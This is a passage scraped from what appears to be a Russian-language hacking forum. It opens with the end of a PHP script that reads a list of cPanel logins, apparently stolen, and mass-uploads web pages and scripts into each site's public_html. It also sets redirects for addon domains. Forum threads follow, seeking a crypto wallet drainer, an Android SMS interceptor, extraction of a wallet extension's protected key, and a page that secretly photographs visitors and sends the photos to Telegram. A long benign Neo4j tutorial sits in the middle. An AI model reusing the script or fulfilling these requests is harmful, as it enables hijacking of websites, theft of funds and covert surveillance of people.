         echo "\nFiles have been uploaded successfully to -> ". $mainDomain . "\n\n";

       if (!empty($mainDomain)) {
           $domainInfo = "[Main domain]\n$mainDomain\n\n[Sub-Domains]\n" . implode("\n", $mainDomainResultArray['data']['sub_domains']) . "\n\n[Addon domains]\n" . implode("\n", $mainDomainResultArray['data']['addon_domains']) . "\n\n----------------------------------------\n\n";
           file_put_contents('domain_info.txt', $domainInfo, FILE_APPEND);
}

        return $mainDomain;

    } else {
   
        error_log("Failed to retrieve the main domain. Response: " . json_encode($mainDomainResultArray));
        return null;
    }


    }

    return $resultArray;
}




    private function addFilesInFolder($folder, $relativePath, &$payload, $destinationDir)
    {
        $files = scandir($folder);
        foreach ($files as $file) {
            if ($file != '.' && $file != '..') {
                $uploadFile = realpath($folder . '/' . $file);
                $relativePath = ltrim($relativePath . '/' . $file, '/');
                $relativePath = str_replace(DIRECTORY_SEPARATOR, '/', $relativePath);

                $payload['file-' . count($payload)] = curl_file_create($uploadFile);
                $payload['dir-' . count($payload)] = $destinationDir . '/' . dirname($relativePath);

                if (is_dir($uploadFile)) {
                    $this->addFilesInFolder($uploadFile, $relativePath, $payload, $destinationDir);
                }
            }
        }
    }
}

function processCpanelOperation($server, $port, $username, $password, $files, $folders, $directory)
{
    if ($port == 2083) {
        $cpanel = new Cpanel($username, $password, "$server:$port");
        $result = $cpanel->uploadFilesAndFolders($files, $folders, $directory);

        if (!$result || !empty($result['error'])) {
            file_put_contents('errors_cpanel.txt', "Error for $server:$port - " . json_encode($result) . "\n", FILE_APPEND);
        } else {
            echo "Process completed for $server:$port\n";
        }

        $cpanel->setRedirectForAddonDomains();
    }
}

$lines = file('cpanels.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

$maxProcesses = 5;

$startedProcesses = 0;

$files = [__DIR__ . '/index.html', __DIR__ . '/index#U0441.html'];
$folders = [__DIR__ . '/assets', __DIR__ . '/js'];
$directory = "/public_html";

foreach ($lines as $line) {
    $components = explode(':', $line);

    if (count($components) === 4 && $components[1] == 2083) {
        list($server, $port, $username, $password) = $components;

        if ($startedProcesses < $maxProcesses) {
            $pid = pcntl_fork();

            if ($pid == -1) {
                die('Could not fork');
            } elseif ($pid) {
                $startedProcesses++;
                continue;
            } else {
                processCpanelOperation($server, $port, $username, $password, $files, $folders, $directory);
                exit();
            }
        } else {
            pcntl_wait($status);
            $startedProcesses--;
        }
    } else {
        file_put_contents('errors_cpanel.txt', "Ignoring invalid line or port is not 2083: $line\n", FILE_APPEND);
     
    }
}

while (pcntl_waitpid(0, $status) != -1);

echo "Finish.\n";
Хелп, хочу написать дрейнер в качестве пэт-проекта но нужен совет.
ID: 67668b27b4103b69df375cc8
Thread ID: 115400
Created: 2024-05-26T19:16:01+0000
Last Post: 2024-05-26T19:16:01+0000
Author: SilverBullet
Replies: 0 Views: 687

перенес в https://xss.is/forums/51/

Ищу андроид разработчика
ID: 67668b27b4103b69df375cca
Thread ID: 115155
Created: 2024-05-22T19:22:26+0000
Last Post: 2024-05-24T09:43:35+0000
Author: AnielDell
Replies: 1 Views: 682

Нужен простой (самый малофункциональный) перехватчик смс с устройства. Если кто знает рабочий или можете написать сами то велком пм.

Дебаггинг chrome-расширений - извлечение non-extractable CryptoKey
ID: 67668b27b4103b69df375ce4
Thread ID: 108713
Created: 2024-02-20T21:08:00+0000
Last Post: 2024-02-21T19:29:50+0000
Author: R4D104C71V3
Replies: 4 Views: 677

Разбираю расширение хрома, не пойму как работает генерация ключей по pbkdf2
Вроде как обычный метамаск (отличие - c 100 000 итерациями), но генерирует другой ключ
Возможно ли как-нибудь посмотреть данные CryptoKey в JS, который помечен как extractable=false?
1708463219381.png

Neo4j: Когда ваши данные запутались сильнее, чем наушники в кармане
ID: 67668b27b4103b69df375cb3
Thread ID: 124723
Created: 2024-10-13T15:23:23+0000
Last Post: 2024-10-13T16:36:41+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 1 Views: 666

Авторство: hackeryaroslav​

Источник: xss.is​

Технологии развиваются, и реляционные базы данных уступают место новым решениям, более подходящим для современных задач. Один из таких подходов — графовые базы данных, которые преобразуют хранение и анализ данных, особенно в веб-приложениях и соцсетях. В этой статье объясняется, почему и как они это делают.

a-photo-of-elon-musk-standing-behind-a-sign-that-s-t1s1mcn1TCeAHpwPWeMKwg- oSJmL6QsRECt61Ki9qb...jpeg

Введение в графовые базы данных​

Графовые базы данных — это NoSQL системы, где данные представлены узлами, связями и их атрибутами. В отличие от реляционных баз, они упрощают работу со сложными взаимосвязями.

**Основные элементы:

Узлы:** Сущности (например, пользователи).

Отношения: Связи между узлами (например, "ДРУЖИТ_С").

Свойства: Характеристики узлов и связей (например, имя или дата).

Метки: Группируют узлы (например, "Пользователь").

Neo4j: лидер среди графовых баз данных​

Neo4j является одной из наиболее популярных и мощных графовых баз данных. Она предоставляет обширный набор возможностей для работы с графовыми данными и имеет активное сообщество разработчиков. Основной фокус статьи будет на нем.

Основные особенности Neo4j:​

  1. ACID-совместимость : Гарантирует целостность данных даже при сбоях.
  2. Язык запросов Cypher : Декларативный язык запросов, оптимизированный для работы с графами.
  3. Встроенные алгоритмы : Предоставляет реализации популярных графовых алгоритмов.
  4. Визуализация : Встроенные инструменты для визуализации графов.
  5. Поддержка транзакций : Позволяет выполнять сложные операции как единое целое.

Давайте напишем социальную сеть на основе Neo4j​

Рассмотрим пример создания простой социальной сети с использованием Neo4j и Python. Мы будем использовать библиотеку py2neo для взаимодействия с базой данных.

Установка необходимых компонентов​

Прежде всего, нам нужно установить Neo4j и библиотеку py2neo:

Rich (BB code):Copy to clipboard

pip install neo4j py2neo

Подключение к базе данных​

Создадим файл social_network.py и начнем с установки соединения:

Python:Copy to clipboard

from py2neo import Graph, Node, Relationship

# Подключение к базе данных
graph = Graph("bolt://localhost:7687", auth=("neo4j", "password"))

# Очистка базы данных
graph.delete_all()

Создание узлов и отношений​

Теперь создадим несколько пользователей и установим между ними отношения дружбы:

Python:Copy to clipboard

def create_user(name, age):
    user = Node("User", name=name, age=age)
    graph.create(user)
    return user

def make_friends(user1, user2):
    friendship = Relationship(user1, "FRIENDS_WITH", user2)
    graph.create(friendship)

# Создаем пользователей
alice = create_user("Alice", 30)
bob = create_user("Bob", 35)
charlie = create_user("Charlie", 28)
david = create_user("David", 42)

# Устанавливаем отношения дружбы
make_friends(alice, bob)
make_friends(alice, charlie)
make_friends(bob, david)
make_friends(charlie, david)

Выполнение запросов​

Теперь, когда у нас есть базовая структура социальной сети, давайте выполним несколько запросов:

Python:Copy to clipboard

# Найти всех друзей Alice
query = """
MATCH (user:User {name: 'Alice'})-[:FRIENDS_WITH]->(friend)
RETURN friend.name AS name, friend.age AS age
"""
result = graph.run(query)
print("Друзья Alice:")
for record in result:
    print(f"{record['name']}, возраст: {record['age']}")

# Найти друзей друзей Bob, исключая прямых друзей
query = """
MATCH (user:User {name: 'Bob'})-[:FRIENDS_WITH]->()-[:FRIENDS_WITH]->(friend_of_friend)
WHERE NOT (user)-[:FRIENDS_WITH]->(friend_of_friend)
RETURN DISTINCT friend_of_friend.name AS name
"""
result = graph.run(query)
print("\nДрузья друзей Bob (исключая прямых друзей):")
for record in result:
    print(record['name'])

# Найти самого старшего пользователя в сети
query = """
MATCH (user:User)
RETURN user.name AS name, user.age AS age
ORDER BY user.age DESC
LIMIT 1
"""
result = graph.run(query).data()[0]
print(f"\nСамый старший пользователь: {result['name']}, возраст: {result['age']}")

Думаю вы увидели, насколько легко можно создавать и запрашивать сложные отношения в графовой базе данных.

Продвинутые возможности Neo4j​

1. Индексация и ограничения​

Neo4j позволяет создавать индексы для ускорения поиска и накладывать ограничения для обеспечения целостности данных:

Code:Copy to clipboard

// Создание индекса
CREATE INDEX ON :User(name)

// Создание ограничения уникальности
CREATE CONSTRAINT ON (u:User) ASSERT u.email IS UNIQUE

2. Полнотекстовый поиск​

Neo4j поддерживает полнотекстовый поиск, что особенно полезно для социальных платформ:

Code:Copy to clipboard

// Создание полнотекстового индекса
CALL db.index.fulltext.createNodeIndex("userContent", ["User"], ["name", "bio"])

// Поиск пользователей
CALL db.index.fulltext.queryNodes("userContent", "Alice OR developer") YIELD node, score
RETURN node.name AS name, node.bio AS bio, score

3. Временные графы​

Neo4j позволяет работать с временными данными, что важно для многих веб- приложений:

Code:Copy to clipboard

// Создание временного узла
CREATE (e:Event {name: 'Conference', date: datetime('2023-09-15T09:00:00')})

// Запрос событий в определенном временном диапазоне
MATCH (e:Event)
WHERE e.date > datetime('2023-01-01') AND e.date < datetime('2023-12-31')
RETURN e.name, e.date

Мини проект: Рекомендательная система на основе графовой базы данных​

Давайте разработаем более сложный проект – рекомендательную систему для онлайн-магазина, используя Neo4j. Эта система будет учитывать покупки пользователей, их интересы и связи между продуктами.

Шаг 1: Модель данных​

Наша модель будет включать следующие узлы и отношения:

  • Узлы:
    • User (Пользователь)
    • Product (Продукт)
    • Category (Категория)
  • Отношения:
    • (User)-[:PURCHASED]->(Product)
    • (User)-[:VIEWED]->(Product)
    • (User)-[:INTERESTED_IN]->(Category)
    • (Product)-[:BELONGS_TO]->(Category)

Шаг 2: Создание тестовых данных​

Создадим файл recommendation_system.py:

Python:Copy to clipboard

from py2neo import Graph, Node, Relationship
import random

graph = Graph("bolt://localhost:7687", auth=("neo4j", "password"))
graph.delete_all()

def create_user(name):
    return Node("User", name=name)

def create_product(name, price):
    return Node("Product", name=name, price=price)

def create_category(name):
    return Node("Category", name=name)

# Создаем категории
categories = [create_category(cat) for cat in ["Electronics", "Books", "Clothing", "Home"]]
graph.create(*categories)

# Создаем продукты
products = []
for i in range(50):
    category = random.choice(categories)
    product = create_product(f"Product {i}", round(random.uniform(10, 1000), 2))
    graph.create(product)
    graph.create(Relationship(product, "BELONGS_TO", category))
    products.append(product)

# Создаем пользователей и их действия
users = []
for i in range(100):
    user = create_user(f"User {i}")
    graph.create(user)
    users.append(user)
 
    # Покупки
    for _ in range(random.randint(1, 5)):
        product = random.choice(products)
        graph.create(Relationship(user, "PURCHASED", product))
 
    # Просмотры
    for _ in range(random.randint(5, 15)):
        product = random.choice(products)
        graph.create(Relationship(user, "VIEWED", product))
 
    # Интересы
    for _ in range(random.randint(1, 3)):
        category = random.choice(categories)
        graph.create(Relationship(user, "INTERESTED_IN", category))

print("Тестовые данные созданы успешно!")

Шаг 3: Реализация рекомендательной системы​

Теперь реализуем несколько методов для генерации рекомендаций:

Python:Copy to clipboard

def get_product_recommendations(user_name):
    query = """
    MATCH (u:User {name: $user_name})-[:PURCHASED]->(p:Product)-[:BELONGS_TO]->(c:Category)
    MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
    WHERE NOT (u)-[:PURCHASED]->(recommended)
    WITH recommended, count(*) AS strength
    ORDER BY strength DESC
    RETURN recommended.name AS product, recommended.price AS price, strength
    LIMIT 5
    """
    return graph.run(query, user_name=user_name).data()

def get_user_based_recommendations(user_name):
    query = """
    MATCH (u:User {name: $user_name})-[:PURCHASED]->(p:Product)
    MATCH (other:User)-[:PURCHASED]->(p)
    WHERE other <> u
    MATCH (other)-[:PURCHASED]->(recommended:Product)
    WHERE NOT (u)-[:PURCHASED]->(recommended)
    WITH recommended, count(*) AS strength
    ORDER BY strength DESC
    RETURN recommended.name AS product, recommended.price AS price, strength
    LIMIT 5
    """
    return graph.run(query, user_name=user_name).data()

def get_category_recommendations(user_name):
    query = """
    MATCH (u:User {name: $user_name})-[:INTERESTED_IN]->(c:Category)
    MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
    WHERE NOT (u)-[:PURCHASED]->(recommended)
    WITH recommended, count(*) AS relevance
    ORDER BY relevance DESC, recommended.price ASC
    RETURN recommended.name AS product, recommended.price AS price, relevance
    LIMIT 5
    """
    return graph.run(query, user_name=user_name).data()

И так, когда у нас есть базовая структура рекомендательной системы, давайте протестируем ее и проанализируем результаты:

Python:Copy to clipboard

# Выберем случайного пользователя для тестирования
test_user = random.choice(users).get('name')

print(f"Тестирование рекомендаций для пользователя: {test_user}\n")

print("Рекомендации на основе категорий покупок:")
for rec in get_product_recommendations(test_user):
    print(f"- {rec['product']} (Цена: ${rec['price']:.2f}, Сила рекомендации: {rec['strength']})")

print("\nРекомендации на основе покупок похожих пользователей:")
for rec in get_user_based_recommendations(test_user):
    print(f"- {rec['product']} (Цена: ${rec['price']:.2f}, Сила рекомендации: {rec['strength']})")

print("\nРекомендации на основе интересов пользователя:")
for rec in get_category_recommendations(test_user):
    print(f"- {rec['product']} (Цена: ${rec['price']:.2f}, Релевантность: {rec['relevance']})")

Все кажется гуд, код выводит рекомендации для случайно выбранного пользователя, используя три разных метода рекомендаций. Каждый метод предоставляет уникальный взгляд на предпочтения пользователя, что позволяет создать более персонализированный опыт покупок.

Оптимизация производительности​

При работе с большими объемами данных в реальных веб-приложениях, производительность становится критически важным фактором. Neo4j предоставляет несколько инструментов для оптимизации запросов:

1. Профилирование запросов​

Neo4j Browser предоставляет визуальный инструмент для профилирования запросов. Добавим ключевое слово PROFILE перед запросом:

Code:Copy to clipboard

PROFILE MATCH (u:User {name: 'User 1'})-[:PURCHASED]->(p:Product)-[:BELONGS_TO]->(c:Category)
MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
WHERE NOT (u)-[:PURCHASED]->(recommended)
RETURN recommended.name, count(*) AS strength
ORDER BY strength DESC
LIMIT 5

Это покажет план выполнения запроса с детальной информацией о времени выполнения каждого шага и количестве обработанных строк.

2. Индексация​

Также, создание индексов может значительно ускорить поиск узлов:

Code:Copy to clipboard

CREATE INDEX ON :User(name)
CREATE INDEX ON :Product(name)
CREATE INDEX ON :Category(name)

3. Ограничение результатов​

Используйте LIMIT для ограничения количества возвращаемых результатов, особенно при работе с большими наборами данных:

Code:Copy to clipboard

MATCH (u:User)-[:PURCHASED]->(p:Product)
RETURN u.name, count(p) AS purchases
ORDER BY purchases DESC
LIMIT 10

4. Оптимизация запросов​

Старайтесь писать запросы, которые быстро сужают область поиска. Например, начинайте с наиболее специфичных узлов:

Code:Copy to clipboard

// Менее эффективно, не гуд
MATCH (u:User), (p:Product)
WHERE u.name = 'User 1' AND (u)-[:PURCHASED]->(p)
RETURN p.name

// Более эффективно, супер гуд
MATCH (u:User {name: 'User 1'})-[:PURCHASED]->(p:Product)
RETURN p.name

Масштабирование графовых баз данных​

При росте веб-приложения возникает необходимость в масштабировании базы данных. Neo4j предлагает несколько стратегий масштабирования:

1. Вертикальное масштабирование​

Увеличение ресурсов (CPU, RAM, SSD) на одном сервере. Это простой способ улучшить производительность, но имеет свои пределы.

2. Репликация для чтения​

Neo4j поддерживает кластеры с одним основным сервером для записи и несколькими репликами для чтения. Это позволяет распределить нагрузку на чтение по нескольким серверам.

3. Шардинг​

Для очень больших графов Neo4j предлагает решение Fabric, которое позволяет разделить граф на несколько шардов и выполнять запросы, охватывающие несколько шардов. О нем мы поговорим во 2 части.

Безопасность в графовых базах данных​

Безопасность - не менее важный фактор. Neo4j предоставляет ряд функций для обеспечения безопасности:

1. Аутентификация и авторизация​

Neo4j поддерживает ролевой доступ (RBAC):

Code:Copy to clipboard

CREATE USER alice SET PASSWORD 'securepassword' CHANGE NOT REQUIRED
CREATE ROLE analyst
GRANT ROLE analyst TO alice
GRANT MATCH {*} ON GRAPH * NODES User TO analyst

2. Шифрование​

Neo4j поддерживает шифрование данных при передаче (SSL/TLS) и может быть настроен для шифрования данных в состоянии покоя.

3. Аудит​

Neo4j Enterprise Edition предоставляет функции аудита для отслеживания действий пользователей:

Code:Copy to clipboard

CALL dbms.security.startAudit()

Интеграция с веб-фреймворками​

Графовые базы данных, такие как Neo4j, могут быть легко интегрированы с популярными веб-фреймворками. Рассмотрим пример интеграции с Flask:

Python:Copy to clipboard

from flask import Flask, jsonify
from py2neo import Graph

app = Flask(__name__)
graph = Graph("bolt://localhost:7687", auth=("neo4j", "password"))

@app.route('/recommendations/<user_name>')
def get_recommendations(user_name):
query = """
MATCH (u:User {name: $user_name})-[:PURCHASED]->(p:Product)-[:BELONGS_TO]->(c:Category)
MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
WHERE NOT (u)-[:PURCHASED]->(recommended)
WITH recommended, count(*) AS strength
ORDER BY strength DESC
RETURN recommended.name AS product, recommended.price AS price, strength
LIMIT 5
"""
results = graph.run(query, user_name=user_name).data()
return jsonify(results)

if __name__ == '__main__':
app.run(debug=True)

Простой Flask-сервер предоставляет API-эндпоинт для получения рекомендаций для конкретного пользователя.

Объясню код кратко:

Инициализация приложения и подключения к базе:

Python:Copy to clipboard

app = Flask(__name__)
graph = Graph("bolt://localhost:7687", auth=("neo4j", "password"))
  • app = Flask(__name__) : Создает экземпляр приложения Flask, который управляет запросами.
  • Graph(...) : Устанавливает соединение с Neo4j через протокол Bolt.
    • bolt://localhost:7687 — адрес сервера Neo4j (локальный сервер на стандартном порту 7687).
    • auth : Передаем логин и пароль для аутентификации в Neo4j.

Создание API-эндпоинта для рекомендаций:

Python:Copy to clipboard

@app.route('/recommendations/<user_name>')
def get_recommendations(user_name):
query = """
MATCH (u:User {name: $user_name})-[:PURCHASED]->(p:Product)-[:BELONGS_TO]->(c:Category)
MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
WHERE NOT (u)-[:PURCHASED]->(recommended)
WITH recommended, count(*) AS strength
ORDER BY strength DESC
RETURN recommended.name AS product, recommended.price AS price, strength
LIMIT 5
"""
results = graph.run(query, user_name=user_name).data()
return jsonify(results)
  • @app.route(...) : Декоратор, который связывает URL-адрес с функцией. В данном случае, запрос по адресу /recommendations/<user_name> вызовет функцию get_recommendations().
    • <user_name> — это переменная сегмента URL, которую мы получаем и используем для персонализации запроса.

Cypher-запрос к Neo4j:

Code:Copy to clipboard

MATCH (u:User {name: $user_name})-[:PURCHASED]->(p:Product)-[:BELONGS_TO]->(c:Category)
MATCH (c)<-[:BELONGS_TO]-(recommended:Product)
WHERE NOT (u)-[:PURCHASED]->(recommended)
WITH recommended, count(*) AS strength
ORDER BY strength DESC
RETURN recommended.name AS product, recommended.price AS price, strength
LIMIT 5
  • MATCH : Ищем все продукты, которые пользователь уже купил.
    • (u:User {name: $user_name}) — находим пользователя по имени (переменная из URL).
    • [:PURCHASED] — ищем продукты, которые он приобрел.
    • Продукты связываются с категориями через [:BELONGS_TO].
  • Рекомендации :
    • Ищем другие продукты из тех же категорий , которые пользователь еще не покупал.
  • WITH recommended, count(*) AS strength : Считаем, сколько раз продукт встречается в разных категориях для усиления его значимости.
  • ORDER BY strength DESC : Сортируем продукты по популярности.
  • LIMIT 5: Возвращаем только топ-5 рекомендаций.

Запуск и возврат результата:

Python:Copy to clipboard

results = graph.run(query, user_name=user_name).data()
return jsonify(results)
  • graph.run() : Выполняет Cypher-запрос и возвращает результаты.
  • jsonify(results) : Преобразует результаты в JSON-формат для отправки через API.

Сравнение с реляционными базами данных​

Хотя графовые базы данных обладают множеством преимуществ, важно понимать, когда их использование наиболее оправдано. Давайте сравним графовые и реляционные базы данных в контексте веб-приложений:

Графовые БД лучше подходят для:​

  1. Социальных сетей и рекомендательных систем
  2. Анализа связей и поиска закономерностей
  3. Управления сложными иерархиями и древовидными структурами
  4. Систем управления доступом и разрешениями

Реляционные БД остаются предпочтительными для:​

  1. Приложений с фиксированной схемой и простыми связями
  2. Систем, требующих сложных агрегаций и отчетов
  3. Транзакционных систем с высокой частотой обновлений

Часть 2: Углубленное изучение графовых баз данных. Низ айсберга.​

Внутренняя архитектура Neo4j​

Чтобы по-настоящему понять, как графовые базы данных меняют подход к управлению данными, необходимо разобраться в их внутренней архитектуре. Рассмотрим архитектуру Neo4j как одного из ведущих представителей этого класса СУБД.

1. Модель хранения данных​

Neo4j использует нативное графовое хранилище , что означает, что данные не конвертируются из других моделей (например, реляционной), а сохраняются в виде графовых структур. Такая архитектура обеспечивает непосредственную работу с графами и упрощает доступ к связанным данным.

  • Узлы (nodes):
    Каждый узел хранится как отдельная запись, содержащая:

    • Уникальный идентификатор
    • Указатели на первое свойство и первое отношение
    • Массив меток, которые позволяют классифицировать узлы и облегчить фильтрацию при запросах
  • Отношения (relationships):
    Отношения хранятся в виде отдельных записей, каждая из которых включает:

    • Уникальный идентификатор
    • Идентификаторы начального и конечного узлов
    • Тип отношения (например, «FRIENDS_WITH», «LIKES»)
    • Указатели на первое свойство и следующее/предыдущее отношение для каждого узла
  • Свойства:
    Свойства прикрепляются к узлам или отношениям и хранятся в виде связанных списков. Благодаря этому каждое свойство можно быстро извлечь, что особенно полезно при работе с большими наборами данных.

Эта модель обеспечивает константное время доступа O(1) при переходе от одного узла к связанному узлу, что критически важно для работы с сильно связанными данными.

2. Индексирование​

Для повышения производительности Neo4j использует различные типы индексов, что ускоряет обработку запросов:

  • B-tree индексы:
    Поддерживают точные и диапазонные запросы, такие как поиск пользователей по имени или диапазону дат.

  • Полнотекстовые индексы:
    Реализованы на базе Apache Lucene и позволяют выполнять сложные текстовые поиски с поддержкой синонимов и лемматизации.

  • Пространственные индексы:
    Оптимизированы для геопространственных данных (например, поиск объектов в радиусе).

Преимущество Neo4j в том, что индексы не влияют на структуру графа , и их можно добавлять или удалять динамически, без изменения основных данных.

3. Управление транзакциями​

Neo4j поддерживает ACID-совместимость и использует механизм многоверсионного параллелизма (MVCC), что обеспечивает надежность и согласованность данных.

  • Снапшот транзакции:
    Каждая транзакция работает с неизменяемым срезом данных, доступным на момент ее начала. Это исключает необходимость блокировки при чтении.

  • Журнал транзакций (WAL):
    Все изменения сначала записываются в журнал, чтобы предотвратить потерю данных в случае сбоя.

  • Фиксация транзакции:
    После фиксации (commit) данные атомарно применяются к хранилищу, обеспечивая надежную обработку.

Этот подход позволяет системе поддерживать высокую конкурентность без блокировок, что важно для масштабируемых приложений.

Алгоритмы обхода графа​

Эффективность графовых баз данных во многом зависит от алгоритмов обхода графа. Рассмотрим некоторые ключевые алгоритмы и их реализацию в Neo4j.

1. Поиск в глубину (DFS)​

DFS используется для обхода или поиска структур графа, таких как пути или циклы.

Пример реализации DFS в Cypher:

Code:Copy to clipboard

MATCH path = (start:Node {name: 'A'})-[:CONNECTS_TO*]->(end:Node)
WHERE NOT (end)-[:CONNECTS_TO]->()
RETURN path

Этот запрос находит все пути от узла A до листовых узлов.

2. Поиск в ширину (BFS)​

BFS используется для нахождения кратчайших путей и в задачах, где важно минимизировать количество переходов.

Пример реализации BFS в Cypher с помощью алгоритма Дейкстры:

Code:Copy to clipboard

MATCH (start:Node {name: 'A'}), (end:Node {name: 'B'})
CALL apoc.algo.dijkstra(start, end, 'CONNECTS_TO', 'distance') YIELD path, weight
RETURN path, weight

Этот запрос находит кратчайший путь между узлами A и B, учитывая вес каждого ребра.

3. Алгоритм Pagerank​

Pagerank используется для оценки важности узлов в графе на основе структуры связей.

Пример использования Pagerank в Neo4j:

Code:Copy to clipboard

CALL gds.pageRank.stream('myGraph')
YIELD nodeId, score
RETURN gds.util.asNode(nodeId).name AS name, score
ORDER BY score DESC
LIMIT 10

Этот запрос вычисляет и возвращает 10 узлов с наивысшим рейтингом Pagerank.

Оптимизация запросов в графовых базах данных​

Оптимизация запросов в графовых базах данных имеет свои особенности, связанные со спецификой графовых структур.

1. Использование паттернов​

Эффективные запросы в Cypher часто основываются на правильном использовании паттернов. Например:

Code:Copy to clipboard

MATCH (user:User)-[:FRIENDS_WITH]->(:User)-[:LIKES]->(movie:Movie)
WHERE NOT (user)-[:LIKES]->(movie)
RETURN DISTINCT movie.title, count(*) as recommendationStrength
ORDER BY recommendationStrength DESC
LIMIT 5

Этот запрос эффективно находит фильмы, которые нравятся друзьям пользователя, но которые сам пользователь еще не лайкнул.

2. Правильное использование индексов​

Создание и использование правильных индексов критически важно для производительности:

Code:Copy to clipboard

CREATE INDEX ON :User(name)
CREATE INDEX ON :Movie(title)

После создания индексов, запросы, использующие эти свойства, будут выполняться значительно быстрее.

3. Профилирование запросов​

Neo4j предоставляет мощные инструменты для профилирования запросов:

Code:Copy to clipboard

PROFILE
MATCH (u:User {name: 'Alice'})-[:FRIENDS_WITH]->(friend)-[:LIKES]->(movie:Movie)
WHERE NOT (u)-[:LIKES]->(movie)
RETURN movie.title, count(*) as frequency
ORDER BY frequency DESC
LIMIT 5

Анализ результатов профилирования позволяет выявить узкие места и оптимизировать запрос.

Шардинг в графовых базах данных​

Шардинг – это метод горизонтального масштабирования базы данных путем разделения данных на несколько серверов. В контексте графовых баз данных шардинг представляет собой сложную задачу из-за взаимосвязанной природы данных.

1. Стратегии шардинга​

  • Шардинг по узлам : Разделение узлов между серверами на основе определенного критерия (например, хеш-функции от ID узла).
  • Шардинг по отношениям : Распределение отношений между серверами, что может привести к разделению узлов по нескольким серверам.
  • Гибридный подход : Комбинация шардинга по узлам и отношениям.

2. Neo4j Fabric​

Neo4j Fabric – это решение для шардинга в Neo4j Enterprise Edition. Оно позволяет выполнять запросы, охватывающие несколько баз данных или шардов:

Code:Copy to clipboard

USE fabric.customers
MATCH (c:Customer)-[:PLACED]->(o:Order)
RETURN c.name, count(o) as orderCount
UNION
USE fabric.products
MATCH (p:Product)<-[:CONTAINS]-(o:Order)
RETURN p.name, count(o) as orderCount

Этот запрос объединяет данные из двух разных шардов (customers и products).

Графовые алгоритмы и машинное обучение​

Графовые базы данных предоставляют мощную платформу для реализации графовых алгоритмов и задач машинного обучения на графах.

1. Обнаружение сообществ​

Алгоритм Louvain для обнаружения сообществ в больших графах:

Code:Copy to clipboard

CALL gds.louvain.stream('myGraph')
YIELD nodeId, communityId
RETURN gds.util.asNode(nodeId).name AS name, communityId
ORDER BY communityId

2. Прогнозирование связей​

Использование Node2Vec для прогнозирования связей:

Code:Copy to clipboard

CALL gds.beta.node2vec.write('myGraph', {
writeProperty: 'embedding',
dimensions: 128,
walkLength: 80,
walks: 10
})
YIELD nodePropertiesWritten

CALL gds.alpha.ml.linkPrediction.train('myGraph', {
modelName: 'lp-model',
featureProperties: ['embedding'],
targetRelationshipType: 'INTERACTS'
})
YIELD modelInfo

CALL gds.alpha.ml.linkPrediction.predict.stream('myGraph', {
modelName: 'lp-model',
topN: 10
})
YIELD node1, node2, probability
RETURN gds.util.asNode(node1).name AS from,
gds.util.asNode(node2).name AS to,
probability
ORDER BY probability DESC

Мини пример демонстрирует процесс обучения модели для прогнозирования связей и ее использования для предсказания наиболее вероятных новых связей.

Темпоральные графы​

Темпоральные графы позволяют моделировать изменения графа во времени, что важно для многих приложений, таких как анализ социальных сетей или финансовых транзакций.

1. Моделирование темпоральных данных​

Code:Copy to clipboard

CREATE (a:Person {name: 'Alice'})-[:KNOWS {since: date('2020-01-01')}]->(b:Person {name: 'Bob'})
CREATE (a)-[:WORKS_AT {from: date('2019-01-01'), to: date('2021-12-31')}]->(c:Company {name: 'Acme'})

2. Запросы к темпоральным графам​

Code:Copy to clipboard

MATCH (p:Person)-[r:WORKS_AT]->(c:Company)
WHERE r.from <= date('2020-06-01') AND (r.to IS NULL OR r.to >= date('2020-06-01'))
RETURN p.name, c.name

Этот запрос находит всех людей, работавших в компаниях на определенную дату.

Графовые базы данных и микросервисная архитектура​

Интеграция графовых баз данных в микросервисную архитектуру открывает новые возможности для создания гибких и масштабируемых веб-приложений.

1. Event Sourcing с использованием графов​

Использование графовой базы данных для реализации паттерна Event Sourcing:

Code:Copy to clipboard

CREATE (e:Event {type: 'UserCreated', data: {userId: '123', name: 'Alice'}, timestamp: datetime()})
CREATE (u:User {id: '123'})-[:CREATED_BY]->(e)

MATCH (u:User {id: '123'})
MATCH (u)<-[:AFFECTS]-(e:Event)
RETURN e
ORDER BY e.timestamp

2. API Gateway с графовой базой данных​

Использование графовой базы данных для маршрутизации запросов в API Gateway:

Code:Copy to clipboard

MATCH (api:APIEndpoint {path: '/users'})-[:ROUTES_TO]->(service:Microservice)
RETURN service.url

Этот запрос может быть использован для динамической маршрутизации запросов к соответствующим микросервисам.

Обеспечение консистентности в распределенных графовых базах данных​

Обеспечение консистентности в распределенных системах является сложной задачей, особенно для графовых баз данных из-за сложности связей между данными.

1. Консенсус-алгоритмы​

Neo4j использует протокол Raft для достижения консенсуса в кластере:

Code:Copy to clipboard

CALL dbms.cluster.overview()
YIELD id, addresses, role
RETURN id, addresses, role

Этот запрос показывает текущее состояние кластера, включая роли серверов (лидер, последователь).

2. Eventual Consistency​

В некоторых сценариях может быть приемлема eventual consistency. Neo4j позволяет настраивать уровень консистентности для чтения:

Code:Copy to clipboard

CALL dbms.cluster.routing.getRoutingTable({}, 'EVENTUAL')

Этот вызов возвращает таблицу маршрутизации, учитывающую настройки консистентности.

Заключение
В данной статье мы подробно разобрали Neo4j как графовую базу данных, охватив как основные, так и продвинутые аспекты её использования. Мы начали с фундаментальных понятий, чтобы сформировать общее понимание принципов работы с этой системой. Затем углубились в более сложные возможности, ориентируясь на потребности разработчиков, стремящихся максимально эффективно использовать потенциал Neo4j. Надеюсь вам зашло, всем до скорой встречи!

who can build a betting site?
ID: 67668b27b4103b69df375cce
Thread ID: 107133
Created: 2024-01-31T14:17:04+0000
Last Post: 2024-05-03T01:56:10+0000
Author: myb0x
Replies: 1 Views: 660

Hello,
i'm interested on a betting project...
if someone has the script ready let me know.

tg: @M00444

подскажите код для подключения к камере
ID: 67668b27b4103b69df375cd4
Thread ID: 113097
Created: 2024-04-22T17:15:00+0000
Last Post: 2024-04-23T09:23:25+0000
Author: XxxTewer
Replies: 2 Views: 648

нужен код, чтобы при заходе на сайт - пользователь давал разрешения на камеру через кнопку на сайте и когда нажимает на другую кнопку - фоткается с передней камеры и с задней, далее это все о правояется в телеграм.
где то читал что можно это сделать, но не пойму как.
чтобы работало на андроиде и айфоне.

Прога для подбора
ID: 67668b27b4103b69df375d07
Thread ID: 95510
Created: 2023-08-12T10:04:18+0000
